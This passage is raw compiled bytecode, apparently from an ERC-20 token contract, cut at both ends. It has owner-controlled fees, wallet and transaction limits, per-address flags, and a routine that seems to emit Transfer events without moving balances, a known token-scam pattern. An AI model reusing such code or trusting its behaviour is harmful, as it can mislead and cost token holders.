180910390f35b34801561035f57600080fd5b5061037a600480360381019061037591906138ed565b610b53565b60405161038791906137b7565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190613940565b610c4b565b005b3480156103c557600080fd5b506103ce610d28565b005b3480156103dc57600080fd5b506103e5610d95565b6040516103f291906138d2565b60405180910390f35b34801561040757600080fd5b50610410610d9b565b60405161041d91906137b7565b60405180910390f35b34801561043257600080fd5b5061043b610dae565b60405161044891906139bc565b60405180910390f35b34801561045d57600080fd5b50610466610db7565b60405161047694939291906139d7565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a1919061375c565b610df1565b6040516104b391906137b7565b60405180910390f35b3480156104c857600080fd5b506104d1610e9d565b6040516104de91906137b7565b60405180910390f35b3480156104f357600080fd5b5061050e60048036038101906105099190613a1c565b610eb0565b005b34801561051c57600080fd5b5061053760048036038101906105329190613a49565b610f5e565b005b34801561054557600080fd5b50610560600480360381019061055b9190613a1c565b611015565b005b34801561056e57600080fd5b5061058960048036038101906105849190613a89565b6110c3565b60405161059691906137b7565b60405180910390f35b3480156105ab57600080fd5b506105c660048036038101906105c19190613a89565b611119565b6040516105d391906138d2565b60405180910390f35b3480156105e857600080fd5b506105f1611161565b005b3480156105ff57600080fd5b5061061a60048036038101906106159190613ab6565b611175565b005b34801561062857600080fd5b50610631611241565b60405161064093929190613b09565b60405180910390f35b34801561065557600080fd5b5061065e611267565b60405161066b9190613b4f565b60405180910390f35b34801561068057600080fd5b50610689611291565b604051610696919061369c565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c19190613a89565b611323565b005b3480156106d457600080fd5b506106ef60048036038101906106ea9190613b6a565b6113eb565b005b3480156106fd57600080fd5b5061071860048036038101906107139190613b6a565b611491565b005b34801561072657600080fd5b50610741600480360381019061073c9190613a49565b611542565b005b34801561074f57600080fd5b5061076a6004803603810190610765919061375c565b6115f9565b60405161077791906137b7565b60405180910390f35b34801561078c57600080fd5b506107956116e4565b6040516107a291906138d2565b60405180910390f35b3480156107b757600080fd5b506107d260048036038101906107cd919061375c565b6116ea565b6040516107df91906137b7565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190613a89565b611708565b005b34801561081d57600080fd5b5061083860048036038101906108339190613a89565b6117d0565b005b34801561084657600080fd5b50610861600480360381019061085c9190613baa565b61181c565b005b34801561086f57600080fd5b50610878611951565b005b34801561088657600080fd5b506108a1600480360381019061089c9190613bfd565b6119a3565b6040516108ae91906138d2565b60405180910390f35b3480156108c357600080fd5b506108de60048036038101906108d99190613a89565b611a2a565b6040516108ed93929190613c3d565b60405180910390f35b34801561090257600080fd5b5061090b611b23565b005b34801561091957600080fd5b50610922611b75565b60405161092f9190613b4f565b60405180910390f35b34801561094457600080fd5b5061095f600480360381019061095a9190613a89565b611b9b565b005b34801561096d57600080fd5b50610976611c1e565b60405161098896959493929190613c74565b60405180910390f35b34801561099d57600080fd5b506109a6611c4d565b6040516109b4929190613cd5565b60405180910390f35b3480156109c957600080fd5b506109e460048036038101906109df9190613b6a565b611c9e565b005b6060600380546109f590613d2d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2190613d2d565b8015610a6e5780601f10610a4357610100808354040283529160200191610a6e565b820191906000526020600020905b815481529060010190602001808311610a5157829003601f168201915b5050505050905090565b6000610a8c610a85611d4f565b8484611d57565b6001905092915050565b610a9e611f20565b60005b83839050811015610b3d5781601f6000868685818110610ac457610ac3613d5e565b5b9050602002016020810190610ad99190613a89565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b3590613dbc565b915050610aa1565b50505050565b6000600254905090565b600c5481565b6000610b60848484611f9e565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bab611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290613e76565b60405180910390fd5b610c3f85610c37611d4f565b858403611d57565b60019150509392505050565b610c53611f20565b60005b83839050811015610d2257838382818110610c7457610c73613d5e565b5b9050602002016020810190610c899190613a89565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d0791906138d2565b60405180910390a38080610d1a90613dbc565b915050610c56565b50505050565b610d30611f20565b6001601260006101000a81548160ff0219169083151502179055506000600b60006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600d5481565b600b60029054906101000a900460ff1681565b60006009905090565b600080600080600b60009054906101000a900460ff169350600b60019054906101000a900460ff169250600f549150601054905090919293565b6000610e93610dfe611d4f565b848460016000610e0c611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8e9190613e96565b611d57565b6001905092915050565b601260009054906101000a900460ff1681565b610eb8611f20565b6005811015610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390613f3c565b60405180910390fd5b6103e8610f07610b43565b82610f129190613f5c565b610f1c9190613fcd565b600f819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600f54604051610f5391906138d2565b60405180910390a150565b610f66611f20565b8160158190555080601681905550601654601554610f849190613e96565b60148190555060646014541115610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc790614070565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e60145460155460165460405161100993929190614090565b60405180910390a15050565b61101d611f20565b6002811015611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890614113565b60405180910390fd5b6103e861106c610b43565b826110779190613f5c565b6110819190613fcd565b6010819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a6010546040516110b891906138d2565b60405180910390a150565b6000601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611169611f20565b6111736000612c0a565b565b61117d611f20565b6102588310156111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b9906141a5565b60405180910390fd5b6103e882111580156111d5575060008210155b611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b90614237565b60405180910390fd5b82600d8190555081600c8190555080600b60026101000a81548160ff021916908315150217905550505050565b6000806000600860159054906101000a900460ff1692506009549150600a549050909192565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546112a090613d2d565b80601f01602080910402602001604051908101604052809291908181526020018280546112cc90613d2d565b80156113195780601f106112ee57610100808354040283529160200191611319565b820191906000526020600020905b8154815290600101906020018083116112fc57829003601f168201915b5050505050905090565b61132b611f20565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113f3611f20565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147a906142c9565b60405180910390fd5b61148d8282612cd0565b5050565b611499611f20565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161153691906137b7565b60405180910390a25050565b61154a611f20565b81601881905550806019819055506019546018546115689190613e96565b601781905550606460175411156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab9061435b565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f16017546018546019546040516115ed93929190614090565b60405180910390a15050565b60008060016000611608611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc906143ed565b60405180910390fd5b6116d96116d0611d4f565b85858403611d57565b600191505092915050565b600e5481565b60006116fe6116f7611d4f565b8484611f9e565b6001905092915050565b611710611f20565b601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117d8611f20565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611824611f20565b6001821015611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f9061447f565b60405180910390fd5b818110156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a290614511565b60405180910390fd5b82600860156101000a81548160ff021916908315150217905550612710826118d1610b43565b6118db9190613f5c565b6118e59190613fcd565b600981905550612710816118f7610b43565b6119019190613f5c565b61190b9190613fcd565b600a819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c77983838360405161194493929190613b09565b60405180910390a1505050565b611959611f20565b6000600b60006101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b611b2b611f20565b6000600b60016101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ba3611f20565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c09906145a3565b60405180910390fd5b611c1b81612c0a565b50565b600080600080600080601454955060155494506016549350601754925060185491506019549050909192939495565b600080601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611ca6611f20565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611d4391906137b7565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd90614635565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c906146c7565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1391906138d2565b60405180910390a3505050565b611f28611d4f565b73ffffffffffffffffffffffffffffffffffffffff16611f46612d71565b73ffffffffffffffffffffffffffffffffffffffff1614611f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9390614733565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361200d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612004906147c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361207c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207390614857565b60405180910390fd5b600081036120955761209083836000612d85565b612c05565b600b60009054906101000a900460ff161561275a576120b2611267565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561212057506120f0611267565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121595750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612193575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121ac5750600860149054906101000a900460ff16155b1561275957601260009054906101000a900460ff166122a657601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122665750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6122a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229c906148e9565b60405180910390fd5b5b600b60019054906101000a900460ff1615612470576122c3611267565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561234a57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123a45750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561246f5743601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061242a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612421906149a1565b60405180910390fd5b43601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125135750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125ba5760105481111561255d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255490614a33565b60405180910390fd5b600f5461256983611119565b826125749190613e96565b11156125b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ac90614a9f565b60405180910390fd5b612758565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561265d5750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126ac576010548111156126a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269e90614b31565b60405180910390fd5b612757565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661275657600f5461270983611119565b826127149190613e96565b1115612755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274c90614a9f565b60405180910390fd5b5b5b5b5b5b600061276530611119565b90506000600954821015905080801561278a5750600860159054906101000a900460ff165b80156127a35750600860149054906101000a900460ff16155b80156127f95750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561284f5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128a55750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128e9576001600860146101000a81548160ff0219169083151502179055506128cd613004565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061299f5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129a957600090505b60008115612bbc57601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a0c57506000601754115b15612aa657612a396064612a2b601754886131c290919063ffffffff16565b6131d890919063ffffffff16565b905060175460195482612a4c9190613f5c565b612a569190613fcd565b601b6000828254612a679190613e96565b9250508190555060175460185482612a7f9190613f5c565b612a899190613fcd565b601a6000828254612a9a9190613e96565b92505081905550612b98565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b0157506000601454115b15612b9757612b2e6064612b20601454886131c290919063ffffffff16565b6131d890919063ffffffff16565b905060145460165482612b419190613f5c565b612b4b9190613fcd565b601b6000828254612b5c9190613e96565b9250508190555060145460155482612b749190613f5c565b612b7e9190613fcd565b601a6000828254612b8f9190613e96565b925050819055505b5b6000811115612bad57612bac873083612d85565b5b8085612bb99190614b51565b94505b600860149054906101000a900460ff16158015612be55750600b60029054906101000a900460ff165b15612bf557612bf3876131ee565b505b612c00878787612d85565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600080612d7c6132f1565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612deb906147c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5a90614857565b60405180910390fd5b612e6e838383613399565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eeb90614bf7565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f879190613e96565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612feb91906138d2565b60405180910390a3612ffe84848461339e565b50505050565b600061300f30611119565b905060008190506000808303613027575050506131c0565b600a5483111561303757600a5492505b6000839050600047905061304a826133a3565b600061305f82476135e090919063ffffffff16565b9050600061308a8661307c601b54856131c290919063ffffffff16565b6131d890919063ffffffff16565b90506000601a819055506000601b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516130e290614c48565b60006040518083038185875af1925050503d806000811461311f576040519150601f19603f3d011682016040523d82523d6000602084013e613124565b606091505b505080955050601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161317090614c48565b60006040518083038185875af1925050503d80600081146131ad576040519150601f19603f3d011682016040523d82523d6000602084013e6131b2565b606091505b505080955050505050505050505b565b600081836131d09190613f5c565b905092915050565b600081836131e69190613fcd565b905092915050565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161322a9190613b4f565b602060405180830381865afa158015613247573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061326b9190614c72565b90506000613284600c54836135f690919063ffffffff16565b9050601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156132e657600081146132e557600080fd5b5b600192505050919050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461337057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613394565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b505050565b6000600267ffffffffffffffff8111156133c0576133bf614c9f565b5b6040519080825280602002602001820160405280156133ee5781602001602082028036833780820191505090505b509050308160008151811061340657613405613d5e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156134ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134cf9190614ce3565b816001815181106134e3576134e2613d5e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613548307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611d57565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016135aa959493929190614e13565b600060405180830381600087803b1580156135c457600080fd5b505af11580156135d8573d6000803e3d6000fd5b505050505050565b600081836135ee9190614b51565b905092915050565b600081836136049190613e96565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561364657808201518184015260208101905061362b565b60008484015250505050565b6000601f19601f8301169050919050565b600061366e8261360c565b6136788185613617565b9350613688818560208601613628565b61369181613652565b840191505092915050565b600060208201905081810360008301526136b68184613663565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006136f3826136c8565b9050919050565b613703816136e8565b811461370e57600080fd5b50565b600081359050613720816136fa565b92915050565b6000819050919050565b61373981613726565b811461374457600080fd5b50565b60008135905061375681613730565b92915050565b60008060408385031215613773576137726136be565b5b600061378185828601613711565b925050602061379285828601613747565b9150509250929050565b60008115159050919050565b6137b18161379c565b82525050565b60006020820190506137cc60008301846137a8565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126137f7576137f66137d2565b5b8235905067ffffffffffffffff811115613814576138136137d7565b5b6020830191508360208202830111156138305761382f6137dc565b5b9250929050565b6138408161379c565b811461384b57600080fd5b50565b60008135905061385d81613837565b92915050565b60008060006040848603121561387c5761387b6136be565b5b600084013567ffffffffffffffff81111561389a576138996136c3565b5b6138a6868287016137e1565b935093505060206138b98682870161384e565b9150509250925092565b6138cc81613726565b82525050565b60006020820190506138e760008301846138c3565b92915050565b600080600060608486031215613906576139056136be565b5b600061391486828701613711565b935050602061392586828701613711565b925050604061393686828701613747565b9150509250925092565b600080600060408486031215613959576139586136be565b5b600084013567ffffffffffffffff811115613977576139766136c3565b5b613983868287016137e1565b9350935050602061399686828701613747565b9150509250925092565b600060ff82169050919050565b6139b6816139a0565b82525050565b60006020820190506139d160008301846139ad565b92915050565b60006080820190506139ec60008301876137a8565b6139f960208301866137a8565b613a0660408301856138c3565b613a1360608301846138c3565b95945050505050565b600060208284031215613a3257613a316136be565b5b6000613a4084828501613747565b91505092915050565b60008060408385031215613a6057613a5f6136be565b5b6000613a6e85828601613747565b9250506020613a7f85828601613747565b9150509250929050565b600060208284031215613a9f57613a9e6136be565b5b6000613aad84828501613711565b91505092915050565b600080600060608486031215613acf57613ace6136be565b5b6000613add86828701613747565b9350506020613aee86828701613747565b9250506040613aff8682870161384e565b9150509250925092565b6000606082019050613b1e60008301866137a8565b613b2b60208301856138c3565b613b3860408301846138c3565b949350505050565b613b49816136e8565b82525050565b6000602082019050613b646000830184613b40565b92915050565b60008060408385031215613b8157613b806136be565b5b6000613b8f85828601613711565b9250506020613ba08582860161384e565b9150509250929050565b600080600060608486031215613bc357613bc26136be565b5b6000613bd18682870161384e565b9350506020613be286828701613747565b9250506040613bf386828701613747565b9150509250925092565b60008060408385031215613c1457613c136136be565b5b6000613c2285828601613711565b9250506020613c3385828601613711565b9150509250929050565b6000606082019050613c5260008301866137a8565b613c5f60208301856137a8565b613c6c60408301846137a8565b949350505050565b600060c082019050613c8960008301896138c3565b613c9660208301886138c3565b613ca360408301876138c3565b613cb060608301866138c3565b613cbd60808301856138c3565b613cca60a08301846138c3565b979650505050505050565b6000604082019050613cea6000830185613b40565b613cf76020830184613b40565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d4557607f821691505b602082108103613d5857613d57613cfe565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613dc782613726565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613df957613df8613d8d565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613e60602883613617565b9150613e6b82613e04565b604082019050919050565b60006020820190508181036000830152613e8f81613e53565b9050919050565b6000613ea182613726565b9150613eac83613726565b9250828201905080821115613ec457613ec3613d8d565b5b92915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613f26602483613617565b9150613f3182613eca565b604082019050919050565b60006020820190508181036000830152613f5581613f19565b9050919050565b6000613f6782613726565b9150613f7283613726565b9250828202613f8081613726565b91508282048414831517613f9757613f96613d8d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613726565b9150613fe383613726565b925082613ff357613ff2613f9e565b5b828204905092915050565b7f546f74616c20627579206665652063616e6e6f7420626520686967686572207460008201527f68616e2031303025000000000000000000000000000000000000000000000000602082015250565b600061405a602883613617565b915061406582613ffe565b604082019050919050565b600060208201905081810360008301526140898161404d565b9050919050565b60006060820190506140a560008301866138c3565b6140b260208301856138c3565b6140bf60408301846138c3565b949350505050565b7f43616e6e6f7420736574206d61785478206c6f776572207468616e20302e3225600082015250565b60006140fd602083613617565b9150614108826140c7565b602082019050919050565b6000602082019050818103600083015261412c816140f0565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061418f603383613617565b915061419a82614133565b604082019050919050565b600060208201905081810360008301526141be81614182565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614221603083613617565b915061422c826141c5565b604082019050919050565b6000602082019050818103600083015261425081614214565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006142b3603983613617565b91506142be82614257565b604082019050919050565b600060208201905081810360008301526142e2816142a6565b9050919050565b7f546f74616c2073656c6c206665652063616e6e6f74206265206869676865722060008201527f7468616e20313030250000000000000000000000000000000000000000000000602082015250565b6000614345602983613617565b9150614350826142e9565b604082019050919050565b6000602082019050818103600083015261437481614338565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006143d7602583613617565b91506143e28261437b565b604082019050919050565b60006020820190508181036000830152614406816143ca565b9050919050565